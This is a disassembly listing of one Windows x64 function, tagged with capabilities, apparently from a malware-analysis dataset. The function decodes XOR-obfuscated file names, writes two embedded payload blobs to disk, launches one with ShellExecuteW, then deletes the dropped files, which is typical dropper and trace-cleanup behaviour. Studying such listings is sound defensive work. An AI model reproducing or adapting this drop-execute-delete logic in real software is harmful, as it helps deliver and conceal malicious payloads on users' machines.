Function at 0x14000bcc0
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140201788]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor r14d, r14d
lea ecx, [r14 + 0x2e]
xor edx, edx
call fcn.140005320
movzx edi, ax
mov word [rbp - 0x68], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x72]
call fcn.140005320
mov word [rbp - 0x66], ax
lea ecx, [r14 + 0x79]
lea edx, [rcx - 0x77]
call fcn.140005320
mov word [rbp - 0x64], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x70]
call fcn.140005320
mov word [rbp - 0x62], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.140005320
movzx esi, ax
mov word [rbp - 0x60], ax
lea edx, [r14 + 5]
movzx ecx, word [0x14008ecda]
call fcn.140005320
mov word [rbp - 0x5e], ax
lea edx, [r14 + 6]
movzx ecx, word [0x14008ecdc]
call fcn.140005320
mov word [rbp - 0x5c], ax
lea edx, [r14 + 7]
movzx ecx, word [0x14008ecde]
call fcn.140005320
mov word [rbp - 0x5a], ax
lea edx, [r14 + 8]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140005320
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
mov r15d, 0x133
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000bdb0
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea rax, [rbp - 0x68]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], r14w
jne 0x14000bdf0
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x58]
call fcn.140002cb0
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x28]
call fcn.14000a7f0
nop
mov word [rbp - 0x68], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.140005320
mov word [rbp - 0x66], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.140005320
mov word [rbp - 0x64], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.140005320
mov word [rbp - 0x62], ax
mov word [rbp - 0x60], si
mov edx, 5
movzx ecx, word [0x14008ecea]
call fcn.140005320
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008ecec]
call fcn.140005320
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008ecee]
call fcn.140005320
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.140005320
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
nop
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000beb0
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
lea rax, [rbp - 0x68]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x14000bee5
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x78]
call fcn.140002cb0
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x48]
call fcn.14000a7f0
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.140005320
mov word [rbp - 0x68], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x6c]
call fcn.140005320
mov word [rbp - 0x66], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.140005320
mov word [rbp - 0x64], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.140005320
mov word [rbp - 0x62], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.140005320
mov word [rbp - 0x60], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.140005320
mov word [rsp + 0x40], ax
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008ecfc]
call fcn.140005320
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008ecfe]
call fcn.140005320
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [0x14008ed00]
call fcn.140005320
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [0x14008ed02]
call fcn.140005320
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [reloc.WS2_32.dll_accept]
call fcn.140005320
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r14d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000bff0
mov word [rbp - 0x52], r14w
lea rax, [rbp - 0x68]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000c012
mov r12, qword [rbp - 0x18]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, r12
cmp rax, rbx
jb 0x14000c65c
lea r13, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r13, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea r15, [r12 + rbx]
mov esi, 7
lea r14, [rbp - 8]
cmp r15, rsi
jbe 0x14000c092
mov rsi, r15
or rsi, 7
cmp rsi, rdi
jbe 0x14000c071
mov rsi, rdi
jmp 0x14000c07e
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp - 8]
call fcn.140009850
mov r14, rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x68]
mov rcx, r14
call fcn.14005ff90
lea rcx, [rbx + r14]
lea r8, [r12 + r12]
mov rdx, r13
call fcn.14005ff90
xor r12d, r12d
mov word [r14 + r15*2], r12w
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
mov rsi, qword [rbp - 0x18]
lea r14, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r14, qword [rbp - 0x28]
cmp rsi, rdi
ja 0x14000c662
cmp rsi, 8
jae 0x14000c13e
mov qword [rbp - 0x58], rsi
mov eax, 7
mov qword [rbp - 0x50], rax
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x68], xmm0
jmp 0x14000c194
mov qword [rbp - 0x50], 7
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14000c157
mov rbx, rdi
jmp 0x14000c164
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.140009850
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.14005ff90
mov rax, qword [rbp - 0x50]
mov dword [rsp + 0x50], r12d
lea rcx, [rbp - 0x68]
cmp rax, 8
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000c209
cmp rbx, 0xffffffffffffffff
je 0x14000c209
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2400
lea rdx, [0x1400b3500]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
call fcn.140009740
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
mov rsi, qword [rbp - 0x38]
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r14, qword [rbp - 0x48]
cmp rsi, rdi
ja 0x14000c668
cmp rsi, 8
jae 0x14000c259
mov qword [rbp - 0x58], rsi
mov eax, 7
mov qword [rbp - 0x50], rax
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x68], xmm0
jmp 0x14000c2af
mov qword [rbp - 0x50], 7
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14000c272
mov rbx, rdi
jmp 0x14000c27f
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.140009850
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.14005ff90
mov rax, qword [rbp - 0x50]
mov dword [rsp + 0x50], r12d
lea rcx, [rbp - 0x68]
cmp rax, 8
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000c324
cmp rbx, 0xffffffffffffffff
je 0x14000c324
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x41200
lea rdx, [0x1400b5900]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
call fcn.140009740
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea r14, [rbp - 8]
mov rsi, qword [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 8
cmovae r14, rsi
mov rbx, qword [rbp + 8]
cmp rbx, rdi
ja 0x14000c66e
mov qword [rsp + 0x70], 7
cmp rbx, 8
jae 0x14000c389
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x58], xmm0
jmp 0x14000c3d6
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14000c3a5
mov rdi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x58]
call fcn.140009850
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
lea r8, [rbx*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.14005ff90
nop
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x78]
call fcn.140003950
mov rbx, rax
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdi, qword [rsp + 0x58]
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x14000c405
mov r14, qword [rax]
mov ecx, WSACleanup
xor edx, edx
call fcn.140005320
mov word [rbp - 0x68], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.140005320
mov word [rbp - 0x66], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x6c]
call fcn.140005320
mov word [rbp - 0x64], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.140005320
mov word [rbp - 0x62], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.140005320
mov word [rbp - 0x60], ax
movzx eax, word [rsp + 0x40]
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008eccc]
call fcn.140005320
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008ecce]
call fcn.140005320
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140005320
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.140005320
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [0x14008ecd4]
call fcn.140005320
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r12d
mov r8d, 0x133
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r8 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000c4e0
mov word [rbp - 0x52], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, r14
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.140009740
lea rcx, [rsp + 0x58]
call fcn.140009740
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp r15, 8
jb 0x14000c59c
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000c593
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c674
mov rcx, rsi
call fcn.14001360c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14000c5dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c5d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c67a
call fcn.14001360c
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x14000c629
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c624
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c656
call fcn.14001360c
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.1400136b0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140065b54
nop
call fcn.140002200
nop
call fcn.140002200
int3
call fcn.140002200
int3
call fcn.140002200
nop
call fcn.140065b54
nop
call fcn.140065b54
int3